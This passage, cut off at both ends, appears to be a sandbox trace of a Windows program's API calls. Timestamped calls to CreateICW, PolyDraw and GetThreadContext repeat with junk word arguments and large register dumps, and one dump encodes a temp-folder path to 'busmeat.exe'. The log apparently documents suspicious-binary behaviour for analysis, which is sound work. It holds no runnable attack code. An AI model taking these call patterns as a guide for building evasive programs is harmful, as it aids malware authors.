[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.282] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.282] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.282] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.282] GetConsoleCP () returned 0x0
	[0066.282] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.283] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.283] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.283] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.283] GetConsoleCP () returned 0x0
	[0066.283] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.283] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.284] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.284] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.284] GetConsoleCP () returned 0x0
	[0066.284] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 